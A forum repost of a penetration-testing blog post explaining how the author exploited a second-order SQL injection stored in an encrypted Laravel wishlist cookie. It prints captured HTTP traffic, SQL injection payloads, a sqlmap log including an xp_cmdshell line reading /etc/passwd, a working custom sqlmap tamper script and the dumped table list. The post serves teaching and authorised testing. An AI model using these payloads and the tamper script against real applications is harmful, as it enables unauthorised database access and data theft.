Nytro Posted August 1, 2017 Report Posted August 1, 2017 Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper August 1, 2017 Mehmet Ince Application Security Web applications evolved in the last century from simple scripts to single page applications. Such complex web applications are prone to different types of security vulnerabilities. One type of this vulnerabilities named as secondorder and it occur when an attack payload is first stored by the application on the web server and then later on used in a security-critical operation. As you can imagine, second order vulnerabilities can be occur anywhere. Not only within same application, it may occur completely different web application who may have been using same data sources. Therefore, it’s quite complicated and “almost” impossible to detect them by using automated scanners. In this blog post, I will show you one of the interesting SQLi flaws from our latest pentest project. Our Approach to Manual Pentest The success of an application pentest is related to understanding of your target. For this reason, I usually spend one or two days with my target like a regular user. So I can understand whole workflow. While clicking every single thing and submitting forms, I try to stick with following naming convention for form fields. Give a number for main modules (such as invoice, news, charges etc. Things that you usually see on navigation bar) Let’s say you are browsing a “Ticket” module and you have form that requires a name and email. Username = johnticket1 Email = johnticket1@yopmail.com I developed this approach myself over time. This helps me to track down the source of the data. If I see johnticket1 somewhere else during pentest -single app pentest usually takes 5-6 days – I understand where should I go back and start to thing about attack vectors for second order vulnerabilities. Initial Phase: Detection While browsing my target, I saw following request and response on my Burp Suite log. GET /wishlist/add/9 HTTP/1.1 Host: targetwebapp User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://targetwebapp/ Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D X-Forwarded-For: 127.0.0.1 True-Client-Ip: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 ---- HTTP/1.1 302 Found Date: Tue, 01 Aug 2017 07:31:12 GMT Server: Apache/2.4.18 (Ubuntu) Cache-Control: no-cache, private Location: http://targetwebapp/ Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/ Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly Content-Length: 324 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="1;url=http://targetwebapp/" /> <title>Redirecting to http://targetwebapp/</title> </head> <body> Redirecting to <a href="http://targetwebapp/">http://targetwebapp/</a>. </body> </html> I was adding one product to the whislist. If this execution completed successfully, application is redirecting me back to home page. But if I browse an another module ( /wishlist/ ) I was able to see that product with detailed information. There was thing that caught my attention. Why am I seeing a new Set-Cookie parameter on HTTP response ? In order to make sure about my answer, I try to add several different product ids to wishlist. As a result, I’ve got new Set-Cookie directive for ever single request. I wasn’t logged in. Yet application is capable to track down which product I’ve added. I’m getting Set-Cookie directive whenever I repeat above request with different id. So the answer was obvious, encrypted client side session..! Application is storing those id values of product on my cookie and performs encryption before sending it back to me. I believe my target is a laravel application because XSRF-TOKEN cookie name and cookie encryption are by default for Laravel framework. It’s important to understand that whatever I submit through /wishlist/add/<id> endpoint, it will be stored in my encrypted cookie. If I browse /whishlist/ path then following steps will be followed by application. Take cookie. Decrypt the cookie. Get wishlist array from cookie data. Use this array inside of the query. Show details of desired products. Protip: If you believe that multiple values are used in one sql query. It’s probably used like WHERE id IN (<values>) . Think like a developer! Second Phase : Automated Tools Problems To be honest, neither Burp nor Netsparker couldn’t detect this SQL Injection. In order to make it more clear for you, here is the generic workflow of automated tools. Login to the app or use supplied cookies. Send /wishlist/add/9" and 1=1 -- or /wishlist/add/9'or 1=1-- or /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1-- Those payloads are just example. Automated scanners uses more than this payloads. Calculate time gap between request and response. HTTP response body analysis, etc Wait for out-of-band request. According to the above flow, scanner not gonna see any different HTTP response body. Also there will be NO big time gap between request and response. App just takes input and stores it at somewhere else -encrypted cookie in this case-. When scanner go through evey single URL, eventually it will start to browse /whislist/ where SQL query executed. But tool already messed up sql sytnax because of multiple sql payload. Thus, it will see only HTTP 500 error and that’s all. Third Phase: Make SQLMAP “great” Again Here is the first 5 HTTP request generated by sqlmap. Especially first 2 remain same all the time. ~ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 [11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')# [11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:57] [INFO] testing if the target URL is stable [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic [11:48:58] [PAYLOAD] 9(..,)),('" [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [11:48:58] [PAYLOAD] 9'AGZHkY<'">Bubyju [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:59] [INFO] testing for SQL injection on URI parameter '#1*' [11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305 [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355 [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:00] [PAYLOAD] 9 AND 5896=8011 [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:00] [PAYLOAD] 9 AND 3274=3274 [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP [11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error) [11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC If you look closer to the first 2 payload, you will see that sqlmap try to detect WAF and then encoding forced by the application. After that, it try to find out syntax form of sql query by sending multiple payload one by one. The problem is, all of those payloads will be stored on cookie and that means whenever sqlmap reachs to --second-order path, it will see HTTP 500 error. Also first request already messed up with sql syntax. That means sqlmap will see error for the rest of the attack. So we need to provide a fresh session for every single HTTP request generated by sqlmap. I’ve done that by implementing custom tamper script. Following HTTP request and response is our way to force application to initiate a new session. GET / HTTP/1.1 Host: targetwebapp User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 X-Forwarded-For: 127.0.0.1 True-Client-Ip: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 --- HTTP/1.1 200 OK Date: Tue, 01 Aug 2017 06:31:36 GMT Server: Apache/2.4.18 (Ubuntu) Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/ Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 22296 Can do following steps. Send request to the home page without suppling any cookie. Parse Set-Cookie and get XSRF-TOKEN and SESSION . Update HTTP request generated by sqlmap. So every single detection attempt of sqlmap gonna have fresh session. When sqlmap try to reach /wishlist/ after sending payload, response from /wishlist/ will be related to the only previous payload. I strongly suggest you yo use https://github.com/h3xstream/http-script-generator . It’s implemented by Philippe Arteau. I’ve met with him at Black Hat Europe 2015 arsenal stand . This extension generates scripts to reissue a selected request. Here is my sqlmap tamper module. It send HTTP request to the homepage and retrieves new cookie values. As a final step, it updates Cookie value of HTTP request generated by sqlmap. #!/usr/bin/env python """ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import requests from lib.core.enums import PRIORITY from random import sample __priority__ = PRIORITY.NORMAL def dependencies(): pass def new_cookie(): session = requests.Session() headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"} response = session.get("http://targetwebapp/", headers=headers) XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0] SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "") return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION) def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["Cookie"] = new_cookie() return payload sqlmap git:(master) ✗ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py ... Database: XXX [12 tables] +------------------------------------------------------+ | categories | | comments | | coupon_user | | coupons | | migrations | | order_product | | orders | | password_resets | | products | | subscribers | | user_addresses | | users | +------------------------------------------------------+ Conclusions Use automated scanners but don’t trust the result. Hire ninjas who have really good experience at manual application pentesting. If you are a pentester, tools are something to help you. But in the end, you are the one who is getting job done. Approach matters. MEHMET INCE Master Ninja @ Prodaft / INVICTUS Europe. Sursa: https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/ Quote